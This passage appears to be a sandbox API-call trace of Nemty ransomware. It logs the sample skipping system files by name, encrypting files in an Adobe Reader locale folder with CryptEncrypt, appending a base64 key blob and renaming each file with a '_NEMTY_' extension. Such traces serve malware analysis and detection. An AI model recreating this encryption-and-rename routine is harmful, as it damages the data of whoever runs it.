lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.591] Sleep (dwMilliseconds=0x5) [0175.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c511b10, dwHighDateTime=0x1d561e8)) [0175.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c511b10, dwHighDateTime=0x1d561e8)) [0175.607] GetLastError () returned 0x0 [0175.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.607] GetLastError () returned 0x0 [0175.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.607] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.607] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.607] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.607] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IADnsZ+eyuwsT796VkACyrxzL7rO5DUt6aHCJyq3RRiABVQNn75AZKbdW78VlNUs\r\n5wPPo+SGa5+63h4Lgr+JgDBwnpw43cugDp3rJ0KI7I9mNUNDt9t7/EGD7uVBn8St\r\nGZL0Ks14+9vsfLG85oWEBlOHNk8sJDSSUjVHjW/bRtF90jVR/ZVOPipx6JT23XRL\r\nE5kWgQL2xeqo7rVtmRwIdd6PXLd/09799h+xauw74nsHhduAn9DR0gesBNPgzFaa\r\nf3ISMsppi/TeR5qnhDSTeAahpzZZ+u85aeqTEXDk8sOqC9mmxBXcApq5B1z0Y9UN\r\neGKnV46H5FhPfBf7pzSWWw==\r\n", pcchString=0x653e5dc) returned 1 [0175.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.609] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0175.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0175.609] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.609] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0175.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0175.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0175.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.611] CloseHandle (hObject=0x2e8) returned 1 [0175.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.612] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp._nemty_kgobjgd_")) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.612] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0175.612] lstrcmpiW (lpString1="Checkers.ESP", lpString2=".") returned 1 [0175.612] lstrcmpiW (lpString1="Checkers.ESP", lpString2="..") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="...") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="windows") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="rsa") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="NTDETECT.COM") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="ntldr") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="MSDOS.SYS") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="IO.SYS") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="boot.ini") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="boot.ini") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="ntuser.dat") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="desktop.ini") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="CONFIG.SYS") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="RECYCLER") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="bootmgr") returned 1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="programdata") returned -1 [0175.613] lstrcmpiW (lpString1="Checkers.ESP", lpString2="appdata") returned 1 [0175.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ESP", lpUsedDefaultChar=0x0) returned 12 [0175.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.614] Sleep (dwMilliseconds=0x5) [0175.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c537c70, dwHighDateTime=0x1d561e8)) [0175.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c537c70, dwHighDateTime=0x1d561e8)) [0175.623] GetLastError () returned 0x0 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.623] GetLastError () returned 0x0 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="sAAorhUoOOVVsr4IVDVJDYzEuWszJS7NlDyIdP98t+Dsq2tig4lpU0fcEWEP8KXT\r\nBvumr3yRXfI/NcEASvLg3PQcIVnrucU4SnkqXAnHLRsTRpZ1QwvLQe3YcT4IdFNL\r\nVAdwrxEADPdffa5AMXNIwK3YIfn/ZmMl/ytnqWr/fvTVfmx40To7eN8zJROHJj4V\r\nIx/xf9epVeWMPZi0U0ftDImxKyA2Q0Ayj4Snn2V9Pf0n+DUUdiRj+GjeafIllxHi\r\nHlryqEpcZry0WLJ5py7yKYtsx6Utnn2WtAO9gWmOKUPPUITVjUo/4hqM2LGiRiqx\r\nIX46u5nwtjIrkNQeNdbWbQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.623] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=130048) returned 1 [0175.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.624] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.624] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.632] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.632] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.632] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=130048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fc00 [0175.633] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.633] CloseHandle (hObject=0x2e8) returned 1 [0175.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.633] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp._nemty_kgobjgd_")) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.634] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2=".") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="..") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="...") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="windows") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="rsa") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="NTDETECT.COM") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="ntldr") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="MSDOS.SYS") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="IO.SYS") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="boot.ini") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="boot.ini") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="ntuser.dat") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="desktop.ini") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="CONFIG.SYS") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="RECYCLER") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="bootmgr") returned 1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="programdata") returned -1 [0175.634] lstrcmpiW (lpString1="DigSig.ESP", lpString2="appdata") returned 1 [0175.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 